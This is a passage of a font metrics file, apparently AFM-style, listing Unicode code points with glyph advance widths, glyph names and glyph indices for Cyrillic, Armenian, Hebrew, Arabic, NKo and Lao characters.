U 1174 ; WX 1077 ; N uni0496 ; G 1067
U 1175 ; WX 901 ; N uni0497 ; G 1068
U 1176 ; WX 641 ; N uni0498 ; G 1069
U 1177 ; WX 532 ; N uni0499 ; G 1070
U 1178 ; WX 710 ; N uni049A ; G 1071
U 1179 ; WX 604 ; N uni049B ; G 1072
U 1180 ; WX 710 ; N uni049C ; G 1073
U 1181 ; WX 604 ; N uni049D ; G 1074
U 1182 ; WX 710 ; N uni049E ; G 1075
U 1183 ; WX 604 ; N uni049F ; G 1076
U 1184 ; WX 856 ; N uni04A0 ; G 1077
U 1185 ; WX 832 ; N uni04A1 ; G 1078
U 1186 ; WX 752 ; N uni04A2 ; G 1079
U 1187 ; WX 661 ; N uni04A3 ; G 1080
U 1188 ; WX 1014 ; N uni04A4 ; G 1081
U 1189 ; WX 877 ; N uni04A5 ; G 1082
U 1190 ; WX 1081 ; N uni04A6 ; G 1083
U 1191 ; WX 916 ; N uni04A7 ; G 1084
U 1192 ; WX 878 ; N uni04A8 ; G 1085
U 1193 ; WX 693 ; N uni04A9 ; G 1086
U 1194 ; WX 698 ; N uni04AA ; G 1087
U 1195 ; WX 550 ; N uni04AB ; G 1088
U 1196 ; WX 611 ; N uni04AC ; G 1089
U 1197 ; WX 583 ; N uni04AD ; G 1090
U 1198 ; WX 611 ; N uni04AE ; G 1091
U 1199 ; WX 592 ; N uni04AF ; G 1092
U 1200 ; WX 611 ; N uni04B0 ; G 1093
U 1201 ; WX 592 ; N uni04B1 ; G 1094
U 1202 ; WX 685 ; N uni04B2 ; G 1095
U 1203 ; WX 592 ; N uni04B3 ; G 1096
U 1204 ; WX 934 ; N uni04B4 ; G 1097
U 1205 ; WX 807 ; N uni04B5 ; G 1098
U 1206 ; WX 686 ; N uni04B6 ; G 1099
U 1207 ; WX 591 ; N uni04B7 ; G 1100
U 1208 ; WX 686 ; N uni04B8 ; G 1101
U 1209 ; WX 591 ; N uni04B9 ; G 1102
U 1210 ; WX 686 ; N uni04BA ; G 1103
U 1211 ; WX 634 ; N uni04BB ; G 1104
U 1212 ; WX 941 ; N uni04BC ; G 1105
U 1213 ; WX 728 ; N uni04BD ; G 1106
U 1214 ; WX 941 ; N uni04BE ; G 1107
U 1215 ; WX 728 ; N uni04BF ; G 1108
U 1216 ; WX 295 ; N uni04C0 ; G 1109
U 1217 ; WX 1077 ; N uni04C1 ; G 1110
U 1218 ; WX 901 ; N uni04C2 ; G 1111
U 1219 ; WX 656 ; N uni04C3 ; G 1112
U 1220 ; WX 604 ; N uni04C4 ; G 1113
U 1221 ; WX 776 ; N uni04C5 ; G 1114
U 1222 ; WX 670 ; N uni04C6 ; G 1115
U 1223 ; WX 752 ; N uni04C7 ; G 1116
U 1224 ; WX 661 ; N uni04C8 ; G 1117
U 1225 ; WX 776 ; N uni04C9 ; G 1118
U 1226 ; WX 681 ; N uni04CA ; G 1119
U 1227 ; WX 686 ; N uni04CB ; G 1120
U 1228 ; WX 591 ; N uni04CC ; G 1121
U 1229 ; WX 888 ; N uni04CD ; G 1122
U 1230 ; WX 774 ; N uni04CE ; G 1123
U 1231 ; WX 278 ; N uni04CF ; G 1124
U 1232 ; WX 684 ; N uni04D0 ; G 1125
U 1233 ; WX 613 ; N uni04D1 ; G 1126
U 1234 ; WX 684 ; N uni04D2 ; G 1127
U 1235 ; WX 613 ; N uni04D3 ; G 1128
U 1236 ; WX 974 ; N uni04D4 ; G 1129
U 1237 ; WX 982 ; N uni04D5 ; G 1130
U 1238 ; WX 632 ; N uni04D6 ; G 1131
U 1239 ; WX 615 ; N uni04D7 ; G 1132
U 1240 ; WX 787 ; N uni04D8 ; G 1133
U 1241 ; WX 615 ; N uni04D9 ; G 1134
U 1242 ; WX 787 ; N uni04DA ; G 1135
U 1243 ; WX 615 ; N uni04DB ; G 1136
U 1244 ; WX 1077 ; N uni04DC ; G 1137
U 1245 ; WX 901 ; N uni04DD ; G 1138
U 1246 ; WX 641 ; N uni04DE ; G 1139
U 1247 ; WX 532 ; N uni04DF ; G 1140
U 1248 ; WX 666 ; N uni04E0 ; G 1141
U 1249 ; WX 578 ; N uni04E1 ; G 1142
U 1250 ; WX 748 ; N uni04E2 ; G 1143
U 1251 ; WX 650 ; N uni04E3 ; G 1144
U 1252 ; WX 748 ; N uni04E4 ; G 1145
U 1253 ; WX 650 ; N uni04E5 ; G 1146
U 1254 ; WX 787 ; N uni04E6 ; G 1147
U 1255 ; WX 612 ; N uni04E7 ; G 1148
U 1256 ; WX 787 ; N uni04E8 ; G 1149
U 1257 ; WX 612 ; N uni04E9 ; G 1150
U 1258 ; WX 787 ; N uni04EA ; G 1151
U 1259 ; WX 612 ; N uni04EB ; G 1152
U 1260 ; WX 698 ; N uni04EC ; G 1153
U 1261 ; WX 549 ; N uni04ED ; G 1154
U 1262 ; WX 609 ; N uni04EE ; G 1155
U 1263 ; WX 592 ; N uni04EF ; G 1156
U 1264 ; WX 609 ; N uni04F0 ; G 1157
U 1265 ; WX 592 ; N uni04F1 ; G 1158
U 1266 ; WX 609 ; N uni04F2 ; G 1159
U 1267 ; WX 592 ; N uni04F3 ; G 1160
U 1268 ; WX 686 ; N uni04F4 ; G 1161
U 1269 ; WX 591 ; N uni04F5 ; G 1162
U 1270 ; WX 610 ; N uni04F6 ; G 1163
U 1271 ; WX 525 ; N uni04F7 ; G 1164
U 1272 ; WX 882 ; N uni04F8 ; G 1165
U 1273 ; WX 790 ; N uni04F9 ; G 1166
U 1274 ; WX 675 ; N uni04FA ; G 1167
U 1275 ; WX 590 ; N uni04FB ; G 1168
U 1276 ; WX 685 ; N uni04FC ; G 1169
U 1277 ; WX 592 ; N uni04FD ; G 1170
U 1278 ; WX 685 ; N uni04FE ; G 1171
U 1279 ; WX 592 ; N uni04FF ; G 1172
U 1280 ; WX 686 ; N uni0500 ; G 1173
U 1281 ; WX 589 ; N uni0501 ; G 1174
U 1282 ; WX 1006 ; N uni0502 ; G 1175
U 1283 ; WX 897 ; N uni0503 ; G 1176
U 1284 ; WX 975 ; N uni0504 ; G 1177
U 1285 ; WX 869 ; N uni0505 ; G 1178
U 1286 ; WX 679 ; N uni0506 ; G 1179
U 1287 ; WX 588 ; N uni0507 ; G 1180
U 1288 ; WX 1072 ; N uni0508 ; G 1181
U 1289 ; WX 957 ; N uni0509 ; G 1182
U 1290 ; WX 1113 ; N uni050A ; G 1183
U 1291 ; WX 967 ; N uni050B ; G 1184
U 1292 ; WX 775 ; N uni050C ; G 1185
U 1293 ; WX 660 ; N uni050D ; G 1186
U 1294 ; WX 773 ; N uni050E ; G 1187
U 1295 ; WX 711 ; N uni050F ; G 1188
U 1296 ; WX 614 ; N uni0510 ; G 1189
U 1297 ; WX 541 ; N uni0511 ; G 1190
U 1298 ; WX 752 ; N uni0512 ; G 1191
U 1299 ; WX 639 ; N uni0513 ; G 1192
U 1300 ; WX 1169 ; N uni0514 ; G 1193
U 1301 ; WX 994 ; N uni0515 ; G 1194
U 1302 ; WX 894 ; N uni0516 ; G 1195
U 1303 ; WX 864 ; N uni0517 ; G 1196
U 1304 ; WX 1032 ; N uni0518 ; G 1197
U 1305 ; WX 986 ; N uni0519 ; G 1198
U 1306 ; WX 787 ; N uni051A ; G 1199
U 1307 ; WX 635 ; N uni051B ; G 1200
U 1308 ; WX 989 ; N uni051C ; G 1201
U 1309 ; WX 818 ; N uni051D ; G 1202
U 1310 ; WX 710 ; N uni051E ; G 1203
U 1311 ; WX 604 ; N uni051F ; G 1204
U 1312 ; WX 1081 ; N uni0520 ; G 1205
U 1313 ; WX 905 ; N uni0521 ; G 1206
U 1314 ; WX 1081 ; N uni0522 ; G 1207
U 1315 ; WX 912 ; N uni0523 ; G 1208
U 1316 ; WX 793 ; N uni0524 ; G 1209
U 1317 ; WX 683 ; N uni0525 ; G 1210
U 1329 ; WX 766 ; N uni0531 ; G 1211
U 1330 ; WX 732 ; N uni0532 ; G 1212
U 1331 ; WX 753 ; N uni0533 ; G 1213
U 1332 ; WX 753 ; N uni0534 ; G 1214
U 1333 ; WX 732 ; N uni0535 ; G 1215
U 1334 ; WX 772 ; N uni0536 ; G 1216
U 1335 ; WX 640 ; N uni0537 ; G 1217
U 1336 ; WX 732 ; N uni0538 ; G 1218
U 1337 ; WX 859 ; N uni0539 ; G 1219
U 1338 ; WX 753 ; N uni053A ; G 1220
U 1339 ; WX 691 ; N uni053B ; G 1221
U 1340 ; WX 533 ; N uni053C ; G 1222
U 1341 ; WX 922 ; N uni053D ; G 1223
U 1342 ; WX 863 ; N uni053E ; G 1224
U 1343 ; WX 732 ; N uni053F ; G 1225
U 1344 ; WX 716 ; N uni0540 ; G 1226
U 1345 ; WX 766 ; N uni0541 ; G 1227
U 1346 ; WX 753 ; N uni0542 ; G 1228
U 1347 ; WX 767 ; N uni0543 ; G 1229
U 1348 ; WX 792 ; N uni0544 ; G 1230
U 1349 ; WX 728 ; N uni0545 ; G 1231
U 1350 ; WX 729 ; N uni0546 ; G 1232
U 1351 ; WX 757 ; N uni0547 ; G 1233
U 1352 ; WX 732 ; N uni0548 ; G 1234
U 1353 ; WX 713 ; N uni0549 ; G 1235
U 1354 ; WX 800 ; N uni054A ; G 1236
U 1355 ; WX 768 ; N uni054B ; G 1237
U 1356 ; WX 792 ; N uni054C ; G 1238
U 1357 ; WX 732 ; N uni054D ; G 1239
U 1358 ; WX 753 ; N uni054E ; G 1240
U 1359 ; WX 705 ; N uni054F ; G 1241
U 1360 ; WX 694 ; N uni0550 ; G 1242
U 1361 ; WX 744 ; N uni0551 ; G 1243
U 1362 ; WX 538 ; N uni0552 ; G 1244
U 1363 ; WX 811 ; N uni0553 ; G 1245
U 1364 ; WX 757 ; N uni0554 ; G 1246
U 1365 ; WX 787 ; N uni0555 ; G 1247
U 1366 ; WX 790 ; N uni0556 ; G 1248
U 1369 ; WX 307 ; N uni0559 ; G 1249
U 1370 ; WX 318 ; N uni055A ; G 1250
U 1371 ; WX 234 ; N uni055B ; G 1251
U 1372 ; WX 361 ; N uni055C ; G 1252
U 1373 ; WX 238 ; N uni055D ; G 1253
U 1374 ; WX 405 ; N uni055E ; G 1254
U 1375 ; WX 500 ; N uni055F ; G 1255
U 1377 ; WX 974 ; N uni0561 ; G 1256
U 1378 ; WX 634 ; N uni0562 ; G 1257
U 1379 ; WX 658 ; N uni0563 ; G 1258
U 1380 ; WX 663 ; N uni0564 ; G 1259
U 1381 ; WX 634 ; N uni0565 ; G 1260
U 1382 ; WX 635 ; N uni0566 ; G 1261
U 1383 ; WX 515 ; N uni0567 ; G 1262
U 1384 ; WX 634 ; N uni0568 ; G 1263
U 1385 ; WX 738 ; N uni0569 ; G 1264
U 1386 ; WX 658 ; N uni056A ; G 1265
U 1387 ; WX 634 ; N uni056B ; G 1266
U 1388 ; WX 271 ; N uni056C ; G 1267
U 1389 ; WX 980 ; N uni056D ; G 1268
U 1390 ; WX 623 ; N uni056E ; G 1269
U 1391 ; WX 634 ; N uni056F ; G 1270
U 1392 ; WX 634 ; N uni0570 ; G 1271
U 1393 ; WX 608 ; N uni0571 ; G 1272
U 1394 ; WX 634 ; N uni0572 ; G 1273
U 1395 ; WX 629 ; N uni0573 ; G 1274
U 1396 ; WX 634 ; N uni0574 ; G 1275
U 1397 ; WX 271 ; N uni0575 ; G 1276
U 1398 ; WX 634 ; N uni0576 ; G 1277
U 1399 ; WX 499 ; N uni0577 ; G 1278
U 1400 ; WX 634 ; N uni0578 ; G 1279
U 1401 ; WX 404 ; N uni0579 ; G 1280
U 1402 ; WX 974 ; N uni057A ; G 1281
U 1403 ; WX 560 ; N uni057B ; G 1282
U 1404 ; WX 648 ; N uni057C ; G 1283
U 1405 ; WX 634 ; N uni057D ; G 1284
U 1406 ; WX 634 ; N uni057E ; G 1285
U 1407 ; WX 974 ; N uni057F ; G 1286
U 1408 ; WX 634 ; N uni0580 ; G 1287
U 1409 ; WX 633 ; N uni0581 ; G 1288
U 1410 ; WX 435 ; N uni0582 ; G 1289
U 1411 ; WX 974 ; N uni0583 ; G 1290
U 1412 ; WX 636 ; N uni0584 ; G 1291
U 1413 ; WX 609 ; N uni0585 ; G 1292
U 1414 ; WX 805 ; N uni0586 ; G 1293
U 1415 ; WX 812 ; N uni0587 ; G 1294
U 1417 ; WX 337 ; N uni0589 ; G 1295
U 1418 ; WX 361 ; N uni058A ; G 1296
U 1456 ; WX 0 ; N uni05B0 ; G 1297
U 1457 ; WX 0 ; N uni05B1 ; G 1298
U 1458 ; WX 0 ; N uni05B2 ; G 1299
U 1459 ; WX 0 ; N uni05B3 ; G 1300
U 1460 ; WX 0 ; N uni05B4 ; G 1301
U 1461 ; WX 0 ; N uni05B5 ; G 1302
U 1462 ; WX 0 ; N uni05B6 ; G 1303
U 1463 ; WX 0 ; N uni05B7 ; G 1304
U 1464 ; WX 0 ; N uni05B8 ; G 1305
U 1465 ; WX 0 ; N uni05B9 ; G 1306
U 1466 ; WX 0 ; N uni05BA ; G 1307
U 1467 ; WX 0 ; N uni05BB ; G 1308
U 1468 ; WX 0 ; N uni05BC ; G 1309
U 1469 ; WX 0 ; N uni05BD ; G 1310
U 1470 ; WX 361 ; N uni05BE ; G 1311
U 1471 ; WX 0 ; N uni05BF ; G 1312
U 1472 ; WX 295 ; N uni05C0 ; G 1313
U 1473 ; WX 0 ; N uni05C1 ; G 1314
U 1474 ; WX 0 ; N uni05C2 ; G 1315
U 1475 ; WX 295 ; N uni05C3 ; G 1316
U 1478 ; WX 441 ; N uni05C6 ; G 1317
U 1479 ; WX 0 ; N uni05C7 ; G 1318
U 1488 ; WX 668 ; N uni05D0 ; G 1319
U 1489 ; WX 578 ; N uni05D1 ; G 1320
U 1490 ; WX 412 ; N uni05D2 ; G 1321
U 1491 ; WX 546 ; N uni05D3 ; G 1322
U 1492 ; WX 653 ; N uni05D4 ; G 1323
U 1493 ; WX 272 ; N uni05D5 ; G 1324
U 1494 ; WX 346 ; N uni05D6 ; G 1325
U 1495 ; WX 653 ; N uni05D7 ; G 1326
U 1496 ; WX 648 ; N uni05D8 ; G 1327
U 1497 ; WX 224 ; N uni05D9 ; G 1328
U 1498 ; WX 537 ; N uni05DA ; G 1329
U 1499 ; WX 529 ; N uni05DB ; G 1330
U 1500 ; WX 568 ; N uni05DC ; G 1331
U 1501 ; WX 664 ; N uni05DD ; G 1332
U 1502 ; WX 679 ; N uni05DE ; G 1333
U 1503 ; WX 272 ; N uni05DF ; G 1334
U 1504 ; WX 400 ; N uni05E0 ; G 1335
U 1505 ; WX 649 ; N uni05E1 ; G 1336
U 1506 ; WX 626 ; N uni05E2 ; G 1337
U 1507 ; WX 640 ; N uni05E3 ; G 1338
U 1508 ; WX 625 ; N uni05E4 ; G 1339
U 1509 ; WX 540 ; N uni05E5 ; G 1340
U 1510 ; WX 593 ; N uni05E6 ; G 1341
U 1511 ; WX 709 ; N uni05E7 ; G 1342
U 1512 ; WX 564 ; N uni05E8 ; G 1343
U 1513 ; WX 708 ; N uni05E9 ; G 1344
U 1514 ; WX 657 ; N uni05EA ; G 1345
U 1520 ; WX 471 ; N uni05F0 ; G 1346
U 1521 ; WX 423 ; N uni05F1 ; G 1347
U 1522 ; WX 331 ; N uni05F2 ; G 1348
U 1523 ; WX 416 ; N uni05F3 ; G 1349
U 1524 ; WX 645 ; N uni05F4 ; G 1350
U 1542 ; WX 637 ; N uni0606 ; G 1351
U 1543 ; WX 637 ; N uni0607 ; G 1352
U 1545 ; WX 757 ; N uni0609 ; G 1353
U 1546 ; WX 977 ; N uni060A ; G 1354
U 1548 ; WX 323 ; N uni060C ; G 1355
U 1557 ; WX 0 ; N uni0615 ; G 1356
U 1563 ; WX 318 ; N uni061B ; G 1357
U 1567 ; WX 531 ; N uni061F ; G 1358
U 1569 ; WX 470 ; N uni0621 ; G 1359
U 1570 ; WX 278 ; N uni0622 ; G 1360
U 1571 ; WX 278 ; N uni0623 ; G 1361
U 1572 ; WX 483 ; N uni0624 ; G 1362
U 1573 ; WX 278 ; N uni0625 ; G 1363
U 1574 ; WX 783 ; N uni0626 ; G 1364
U 1575 ; WX 278 ; N uni0627 ; G 1365
U 1576 ; WX 941 ; N uni0628 ; G 1366
U 1577 ; WX 524 ; N uni0629 ; G 1367
U 1578 ; WX 941 ; N uni062A ; G 1368
U 1579 ; WX 941 ; N uni062B ; G 1369
U 1580 ; WX 646 ; N uni062C ; G 1370
U 1581 ; WX 646 ; N uni062D ; G 1371
U 1582 ; WX 646 ; N uni062E ; G 1372
U 1583 ; WX 445 ; N uni062F ; G 1373
U 1584 ; WX 445 ; N uni0630 ; G 1374
U 1585 ; WX 483 ; N uni0631 ; G 1375
U 1586 ; WX 483 ; N uni0632 ; G 1376
U 1587 ; WX 1221 ; N uni0633 ; G 1377
U 1588 ; WX 1221 ; N uni0634 ; G 1378
U 1589 ; WX 1209 ; N uni0635 ; G 1379
U 1590 ; WX 1209 ; N uni0636 ; G 1380
U 1591 ; WX 925 ; N uni0637 ; G 1381
U 1592 ; WX 925 ; N uni0638 ; G 1382
U 1593 ; WX 597 ; N uni0639 ; G 1383
U 1594 ; WX 597 ; N uni063A ; G 1384
U 1600 ; WX 293 ; N uni0640 ; G 1385
U 1601 ; WX 1037 ; N uni0641 ; G 1386
U 1602 ; WX 776 ; N uni0642 ; G 1387
U 1603 ; WX 824 ; N uni0643 ; G 1388
U 1604 ; WX 727 ; N uni0644 ; G 1389
U 1605 ; WX 619 ; N uni0645 ; G 1390
U 1606 ; WX 734 ; N uni0646 ; G 1391
U 1607 ; WX 524 ; N uni0647 ; G 1392
U 1608 ; WX 483 ; N uni0648 ; G 1393
U 1609 ; WX 783 ; N uni0649 ; G 1394
U 1610 ; WX 783 ; N uni064A ; G 1395
U 1611 ; WX 0 ; N uni064B ; G 1396
U 1612 ; WX 0 ; N uni064C ; G 1397
U 1613 ; WX 0 ; N uni064D ; G 1398
U 1614 ; WX 0 ; N uni064E ; G 1399
U 1615 ; WX 0 ; N uni064F ; G 1400
U 1616 ; WX 0 ; N uni0650 ; G 1401
U 1617 ; WX 0 ; N uni0651 ; G 1402
U 1618 ; WX 0 ; N uni0652 ; G 1403
U 1619 ; WX 0 ; N uni0653 ; G 1404
U 1620 ; WX 0 ; N uni0654 ; G 1405
U 1621 ; WX 0 ; N uni0655 ; G 1406
U 1623 ; WX 0 ; N uni0657 ; G 1407
U 1626 ; WX 500 ; N uni065A ; G 1408
U 1632 ; WX 537 ; N uni0660 ; G 1409
U 1633 ; WX 537 ; N uni0661 ; G 1410
U 1634 ; WX 537 ; N uni0662 ; G 1411
U 1635 ; WX 537 ; N uni0663 ; G 1412
U 1636 ; WX 537 ; N uni0664 ; G 1413
U 1637 ; WX 537 ; N uni0665 ; G 1414
U 1638 ; WX 537 ; N uni0666 ; G 1415
U 1639 ; WX 537 ; N uni0667 ; G 1416
U 1640 ; WX 537 ; N uni0668 ; G 1417
U 1641 ; WX 537 ; N uni0669 ; G 1418
U 1642 ; WX 537 ; N uni066A ; G 1419
U 1643 ; WX 325 ; N uni066B ; G 1420
U 1644 ; WX 318 ; N uni066C ; G 1421
U 1645 ; WX 545 ; N uni066D ; G 1422
U 1646 ; WX 941 ; N uni066E ; G 1423
U 1647 ; WX 776 ; N uni066F ; G 1424
U 1648 ; WX 0 ; N uni0670 ; G 1425
U 1652 ; WX 292 ; N uni0674 ; G 1426
U 1657 ; WX 941 ; N uni0679 ; G 1427
U 1658 ; WX 941 ; N uni067A ; G 1428
U 1659 ; WX 941 ; N uni067B ; G 1429
U 1660 ; WX 941 ; N uni067C ; G 1430
U 1661 ; WX 941 ; N uni067D ; G 1431
U 1662 ; WX 941 ; N uni067E ; G 1432
U 1663 ; WX 941 ; N uni067F ; G 1433
U 1664 ; WX 941 ; N uni0680 ; G 1434
U 1665 ; WX 646 ; N uni0681 ; G 1435
U 1666 ; WX 646 ; N uni0682 ; G 1436
U 1667 ; WX 646 ; N uni0683 ; G 1437
U 1668 ; WX 646 ; N uni0684 ; G 1438
U 1669 ; WX 646 ; N uni0685 ; G 1439
U 1670 ; WX 646 ; N uni0686 ; G 1440
U 1671 ; WX 646 ; N uni0687 ; G 1441
U 1672 ; WX 445 ; N uni0688 ; G 1442
U 1673 ; WX 445 ; N uni0689 ; G 1443
U 1674 ; WX 445 ; N uni068A ; G 1444
U 1675 ; WX 445 ; N uni068B ; G 1445
U 1676 ; WX 445 ; N uni068C ; G 1446
U 1677 ; WX 445 ; N uni068D ; G 1447
U 1678 ; WX 445 ; N uni068E ; G 1448
U 1679 ; WX 445 ; N uni068F ; G 1449
U 1680 ; WX 445 ; N uni0690 ; G 1450
U 1681 ; WX 483 ; N uni0691 ; G 1451
U 1682 ; WX 483 ; N uni0692 ; G 1452
U 1683 ; WX 498 ; N uni0693 ; G 1453
U 1684 ; WX 530 ; N uni0694 ; G 1454
U 1685 ; WX 610 ; N uni0695 ; G 1455
U 1686 ; WX 530 ; N uni0696 ; G 1456
U 1687 ; WX 483 ; N uni0697 ; G 1457
U 1688 ; WX 483 ; N uni0698 ; G 1458
U 1689 ; WX 483 ; N uni0699 ; G 1459
U 1690 ; WX 1221 ; N uni069A ; G 1460
U 1691 ; WX 1221 ; N uni069B ; G 1461
U 1692 ; WX 1221 ; N uni069C ; G 1462
U 1693 ; WX 1209 ; N uni069D ; G 1463
U 1694 ; WX 1209 ; N uni069E ; G 1464
U 1695 ; WX 925 ; N uni069F ; G 1465
U 1696 ; WX 597 ; N uni06A0 ; G 1466
U 1697 ; WX 1037 ; N uni06A1 ; G 1467
U 1698 ; WX 1037 ; N uni06A2 ; G 1468
U 1699 ; WX 1037 ; N uni06A3 ; G 1469
U 1700 ; WX 1037 ; N uni06A4 ; G 1470
U 1701 ; WX 1037 ; N uni06A5 ; G 1471
U 1702 ; WX 1037 ; N uni06A6 ; G 1472
U 1703 ; WX 776 ; N uni06A7 ; G 1473
U 1704 ; WX 776 ; N uni06A8 ; G 1474
U 1705 ; WX 895 ; N uni06A9 ; G 1475
U 1706 ; WX 1054 ; N uni06AA ; G 1476
U 1707 ; WX 895 ; N uni06AB ; G 1477
U 1708 ; WX 824 ; N uni06AC ; G 1478
U 1709 ; WX 824 ; N uni06AD ; G 1479
U 1710 ; WX 824 ; N uni06AE ; G 1480
U 1711 ; WX 895 ; N uni06AF ; G 1481
U 1712 ; WX 895 ; N uni06B0 ; G 1482
U 1713 ; WX 895 ; N uni06B1 ; G 1483
U 1714 ; WX 895 ; N uni06B2 ; G 1484
U 1715 ; WX 895 ; N uni06B3 ; G 1485
U 1716 ; WX 895 ; N uni06B4 ; G 1486
U 1717 ; WX 727 ; N uni06B5 ; G 1487
U 1718 ; WX 727 ; N uni06B6 ; G 1488
U 1719 ; WX 727 ; N uni06B7 ; G 1489
U 1720 ; WX 727 ; N uni06B8 ; G 1490
U 1721 ; WX 734 ; N uni06B9 ; G 1491
U 1722 ; WX 734 ; N uni06BA ; G 1492
U 1723 ; WX 734 ; N uni06BB ; G 1493
U 1724 ; WX 734 ; N uni06BC ; G 1494
U 1725 ; WX 734 ; N uni06BD ; G 1495
U 1726 ; WX 698 ; N uni06BE ; G 1496
U 1727 ; WX 646 ; N uni06BF ; G 1497
U 1734 ; WX 483 ; N uni06C6 ; G 1498
U 1735 ; WX 483 ; N uni06C7 ; G 1499
U 1736 ; WX 483 ; N uni06C8 ; G 1500
U 1739 ; WX 483 ; N uni06CB ; G 1501
U 1740 ; WX 783 ; N uni06CC ; G 1502
U 1742 ; WX 783 ; N uni06CE ; G 1503
U 1744 ; WX 783 ; N uni06D0 ; G 1504
U 1749 ; WX 524 ; N uni06D5 ; G 1505
U 1776 ; WX 537 ; N uni06F0 ; G 1506
U 1777 ; WX 537 ; N uni06F1 ; G 1507
U 1778 ; WX 537 ; N uni06F2 ; G 1508
U 1779 ; WX 537 ; N uni06F3 ; G 1509
U 1780 ; WX 537 ; N uni06F4 ; G 1510
U 1781 ; WX 537 ; N uni06F5 ; G 1511
U 1782 ; WX 537 ; N uni06F6 ; G 1512
U 1783 ; WX 537 ; N uni06F7 ; G 1513
U 1784 ; WX 537 ; N uni06F8 ; G 1514
U 1785 ; WX 537 ; N uni06F9 ; G 1515
U 1984 ; WX 636 ; N uni07C0 ; G 1516
U 1985 ; WX 636 ; N uni07C1 ; G 1517
U 1986 ; WX 636 ; N uni07C2 ; G 1518
U 1987 ; WX 636 ; N uni07C3 ; G 1519
U 1988 ; WX 636 ; N uni07C4 ; G 1520
U 1989 ; WX 636 ; N uni07C5 ; G 1521
U 1990 ; WX 636 ; N uni07C6 ; G 1522
U 1991 ; WX 636 ; N uni07C7 ; G 1523
U 1992 ; WX 636 ; N uni07C8 ; G 1524
U 1993 ; WX 636 ; N uni07C9 ; G 1525
U 1994 ; WX 278 ; N uni07CA ; G 1526
U 1995 ; WX 571 ; N uni07CB ; G 1527
U 1996 ; WX 424 ; N uni07CC ; G 1528
U 1997 ; WX 592 ; N uni07CD ; G 1529
U 1998 ; WX 654 ; N uni07CE ; G 1530
U 1999 ; WX 654 ; N uni07CF ; G 1531
U 2000 ; WX 594 ; N uni07D0 ; G 1532
U 2001 ; WX 654 ; N uni07D1 ; G 1533
U 2002 ; WX 829 ; N uni07D2 ; G 1534
U 2003 ; WX 438 ; N uni07D3 ; G 1535
U 2004 ; WX 438 ; N uni07D4 ; G 1536
U 2005 ; WX 559 ; N uni07D5 ; G 1537
U 2006 ; WX 612 ; N uni07D6 ; G 1538
U 2007 ; WX 350 ; N uni07D7 ; G 1539
U 2008 ; WX 959 ; N uni07D8 ; G 1540
U 2009 ; WX 473 ; N uni07D9 ; G 1541
U 2010 ; WX 783 ; N uni07DA ; G 1542
U 2011 ; WX 654 ; N uni07DB ; G 1543
U 2012 ; WX 625 ; N uni07DC ; G 1544
U 2013 ; WX 734 ; N uni07DD ; G 1545
U 2014 ; WX 530 ; N uni07DE ; G 1546
U 2015 ; WX 724 ; N uni07DF ; G 1547
U 2016 ; WX 473 ; N uni07E0 ; G 1548
U 2017 ; WX 625 ; N uni07E1 ; G 1549
U 2018 ; WX 594 ; N uni07E2 ; G 1550
U 2019 ; WX 530 ; N uni07E3 ; G 1551
U 2020 ; WX 530 ; N uni07E4 ; G 1552
U 2021 ; WX 522 ; N uni07E5 ; G 1553
U 2022 ; WX 594 ; N uni07E6 ; G 1554
U 2023 ; WX 594 ; N uni07E7 ; G 1555
U 2027 ; WX 0 ; N uni07EB ; G 1556
U 2028 ; WX 0 ; N uni07EC ; G 1557
U 2029 ; WX 0 ; N uni07ED ; G 1558
U 2030 ; WX 0 ; N uni07EE ; G 1559
U 2031 ; WX 0 ; N uni07EF ; G 1560
U 2032 ; WX 0 ; N uni07F0 ; G 1561
U 2033 ; WX 0 ; N uni07F1 ; G 1562
U 2034 ; WX 0 ; N uni07F2 ; G 1563
U 2035 ; WX 0 ; N uni07F3 ; G 1564
U 2036 ; WX 313 ; N uni07F4 ; G 1565
U 2037 ; WX 313 ; N uni07F5 ; G 1566
U 2040 ; WX 560 ; N uni07F8 ; G 1567
U 2041 ; WX 560 ; N uni07F9 ; G 1568
U 2042 ; WX 361 ; N uni07FA ; G 1569
U 3647 ; WX 636 ; N uni0E3F ; G 1570
U 3713 ; WX 670 ; N uni0E81 ; G 1571
U 3714 ; WX 684 ; N uni0E82 ; G 1572
U 3716 ; WX 688 ; N uni0E84 ; G 1573
U 3719 ; WX 482 ; N uni0E87 ; G 1574
U 3720 ; WX 628 ; N uni0E88 ; G 1575
U 3722 ; WX 684 ; N uni0E8A ; G 1576
U 3725 ; WX 688 ; N uni0E8D ; G 1577
U 3732 ; WX 669 ; N uni0E94 ; G 1578
U 3733 ; WX 642 ; N uni0E95 ; G 1579
U 3734 ; WX 645 ; N uni0E96 ; G 1580
U 3735 ; WX 655 ; N uni0E97 ; G 1581
U 3737 ; WX 659 ; N uni0E99 ; G 1582
U 3738 ; WX 625 ; N uni0E9A ; G 1583
U 3739 ; WX 625 ; N uni0E9B ; G 1584
U 3740 ; WX 745 ; N uni0E9C ; G 1585
U 3741 ; WX 767 ; N uni0E9D ; G 1586
U 3742 ; WX 687 ; N uni0E9E ; G 1587
U 3743 ; WX 687 ; N uni0E9F ; G 1588
U 3745 ; WX 702 ; N uni0EA1 ; G 1589
U 3746 ; WX 688 ; N uni0EA2 ; G 1590
U 3747 ; WX 684 ; N uni0EA3 ; G 1591
U 3749 ; WX 649 ; N uni0EA5 ; G 1592
U 3751 ; WX 632 ; N uni0EA7 ; G 1593
U 3754 ; WX 703 ; N uni0EAA ; G 1594
U 3755 ; WX 819 ; N uni0EAB ; G 1595
U 3757 ; WX 633 ; N uni0EAD ; G 1596
U 3758 ; WX 684 ; N uni0EAE ; G 1597
U 3759 ; WX 788 ; N uni0EAF ; G 1598
U 3760 ; WX 632 ; N uni0EB0 ; G 1599
U 3761 ; WX 0 ; N uni0EB1 ; G 1600
U 3762 ; WX 539 ; N uni0EB2 ; G 1601
U 3763 ; WX 539 ; N uni0EB3 ; G 1602
U 3764 ; WX 0 ; N uni0EB4 ; G 1603
U 3765 ; WX 0 ; N uni0EB5 ; G 1604
U 3766 ; WX 0 ; N uni0EB6 ; G 1605
U 3767 ; WX 0 ; N uni0EB7 ; G 1606
U 3768 ; WX 0 ; N uni0EB8 ; G 1607
U 3769 ; WX 0 ; N uni0EB9 ; G 1608
U 3771 ; WX 0 ; N uni0EBB ; G 1609
U 3772 ; WX 0 ; N uni0EBC ; G 1610
U 3773 ; WX 663 ; N uni0EBD ; G 1611
U 3776 ; WX 375 ; N uni0EC0 ; G 1612
U 3777 ; WX 657 ; N uni0EC1 ; G 1613
U 3778 ; WX 460 ; N uni0EC2 ; G 1614
U 3779 ; WX 547 ; N uni0EC3 ; G 1615
